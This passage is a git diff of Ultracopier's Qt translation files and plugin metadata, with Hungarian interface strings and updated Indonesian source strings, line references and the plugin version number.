+ <translation>Kategória:</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="51"/>
+ <source>Author:</source>
+ <translation>Fejlesztő:</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="65"/>
+ <source>Website:</source>
+ <translation>Honlap:</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="79"/>
+ <source>Date:</source>
+ <translation>Dátum:</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="93"/>
+ <source>Description:</source>
+ <translation>Leírás:</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="107"/>
+ <source>Version:</source>
+ <translation>Verzió:</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="121"/>
+ <source>Title:</source>
+ <translation>Cím:</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
+ <translation>Másoló motor</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
+ <source>Languages</source>
+ <translation>Nyelvek</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
+ <source>Listener</source>
+ <translation>Figyelő</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
+ <translation>Beépülő betöltő</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
+ <translation>Folyamat betöltő</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
+ <source>Themes</source>
+ <translation>Témák</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
+ <source>Information about %1</source>
+ <translation>%1 információi</translation>
+ </message>
+</context>
+<context>
+ <name>PluginsManager</name>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
+ <source>informations.xml is not accessible</source>
+ <translation>informations.xml nem férhető hozzá</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
+ <source>%1, parse error at line %2, column %3: %4</source>
+ <translation>%1, elemzési hiba a(z) %2. sorban, %3. oszlopban: %4</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
+ <source>&quot;package&quot; root tag not found for the xml file</source>
+ <translation>&quot;package&quot; gyökércímke nem található az xml fájlban</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
+ <source>Duplicated plugin found, already loaded!</source>
+ <translation>Duplikált beépülő található, már be van töltve!</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation>informations.xml nem található a beépülőhöz</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
+ <translation>Angol szöveg hiányzik az informations.xml-ből a címkéhez: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
+ <source>Tag not found: %1</source>
+ <translation>Címke nem található: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
+ <source>Dependencies part is wrong</source>
+ <translation>A függőségek rész hibás</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
+ <source>Dependencies %1 are not satisfied, for plugin: %2</source>
+ <translation>A(z) %1 függőségek nem megfelelőek a következő beépülőhöz: %2</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
+ <source>Remove %1</source>
+ <translation>%1 eltávolítása</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
+ <source>Are you sure about removing &quot;%1&quot; in version %2?</source>
+ <translation>Biztosan el akarod távolítani &quot;%1&quot;-t a(z) %2 verzióban?</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
+ <source>Error while the removing plugin, please check the rights on the folder:
+%1</source>
+ <translation>Hiba történt a beépülő eltávolítása közben, kérlek ellenőrizd a jogokat a mappán: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
+ <source>Information</source>
+ <translation>Információ</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
+ <source>Previous import is in progress...</source>
+ <translation>Előző importálás folyamatban van...</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
+ <source>Open Ultracopier plugin</source>
+ <translation>Ultracopier beépülő megnyitása</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
+ <source>Ultracopier plugin (*.urc)</source>
+ <translation>Ultracopier beépülő (*.urc)</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
+ <source>Plugin loader</source>
+ <translation>Beépülő betöltő</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <source>Unable to open the plugin: %1</source>
+ <translation>Beéülő megnyitása nem lehetséges: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
+ <source>Unable to load the plugin content, please check it: %1</source>
+ <translation>Beépülő tartalmának betöltése nem lehetséges, kérlek ellenőrizd: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <source>Unable to create a folder to install the plugin:
+%1</source>
+ <translation>Mappa létrehozása a beépülő telepítéséhez nem lehetséges:
+%1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <source>Unable to create a file to install the plugin:
+%1
+since:%2</source>
+ <translation>Fájl létrehozása a beépülő telepítéséhez nem lehetséges:
+%1
+óta:%2</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <source>Folder with same name is present, skip the plugin installation:
+%1</source>
+ <translation>Mappa már létezik ilyen néven, beépülő telepítésének kihagyása:
+%1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <source>Unable to load the plugin content, please check it</source>
+ <translation>Beépülő tartalmának betöltése nem lehetséges, kérlek ellenőrizd</translation>
+ </message>
+</context>
+<context>
+ <name>QXzDecode</name>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
+ <source>Memory allocation failed</source>
+ <translation>Memória allokáció sikertelen</translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
+ <source>Write error</source>
+ <translation>Írási hiba</translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
+ <source>Memory usage limit reached</source>
+ <translation>Memóriahasználat határ elérve</translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
+ <source>Not a .xz file</source>
+ <translation>Nem .xz fájl</translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
+ <source>Unsupported options in the .xz headers</source>
+ <translation>Nem támogatott beállítások az .xz fejlécben</translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
+ <source>The file is corrupted</source>
+ <translation>A fájl hibás</translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
+ <source>Bug!</source>
+ <translation>Hiba!</translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
+ <source>The input data is too short</source>
+ <translation>A bemenő adat túl rövid</translation>
+ </message>
+</context>
+<context>
+ <name>SystrayIcon</name>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
+ <source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
+ <translation type="unfinished">Nem található másoló figyelő. Végezd el manuálisan a másolást a jobb egérgombbal a tálcaikonra kattintva.</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
+ <source>Information</source>
+ <translation type="unfinished">Információ</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
+ <translation type="unfinished">Információ keresése...</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
+ <translation type="unfinished">Ne cserélje le az Intéző másolását/mozgatását</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
+ <translation type="unfinished">Az Intéző másolás/mozgatás félig lecserélése</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
+ <translation type="unfinished">Az Intéző másolás/mozgatás lecserélése</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>Warning</source>
+ <translation type="unfinished">Figyelmeztetés</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
+ <translation type="unfinished">A művelet a tálcaikonon ismeretlen!</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
+ <source>&amp;About/Debug report</source>
+ <translation type="unfinished">Né&amp;vjegy/Hibajelentés</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
+ <source>&amp;About</source>
+ <translation type="unfinished">&amp;Névjegy</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>&amp;Save bug Report</source>
+ <translation type="obsolete">&amp;Hibajelentés mentése</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
+ <source>&amp;Quit</source>
+ <translation type="unfinished">&amp;Kilépés</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
+ <source>&amp;Options</source>
+ <translation type="unfinished">&amp;Beállítások</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
+ <source>A&amp;dd copy/moving</source>
+ <translation type="unfinished">Más&amp;olás/mozgatás hozzáadása</translation>
+ </message>
+ <message>
+ <source>New version: %1
+Site: %2</source>
+ <translation type="obsolete">Új verzió: %1
+Honlap: %2</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished">&amp;Másolás</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished">&amp;Átvitel</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished">M&amp;ozgatás</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
+ <source>Add &amp;copy</source>
+ <translation type="unfinished">Má&amp;solás hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
+ <source>Add &amp;transfer</source>
+ <translation type="unfinished">&amp;Átvitel hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
+ <source>Add &amp;move</source>
+ <translation type="unfinished">&amp;Mozgatás hozzáadása</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/Languages/id/flag.png b/plugins/Languages/id/flag.png
index 188ea2c..e3c0f12 100644
--- a/plugins/Languages/id/flag.png
+++ b/plugins/Languages/id/flag.png
Binary files differ
diff --git a/plugins/Languages/id/informations.xml b/plugins/Languages/id/informations.xml
index 8f7e8c2..3821ee0 100644
--- a/plugins/Languages/id/informations.xml
+++ b/plugins/Languages/id/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to indonesian. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to indonesian. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>id</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/id/translation.ts b/plugins/Languages/id/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/id/translation.ts
+++ b/plugins/Languages/id/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
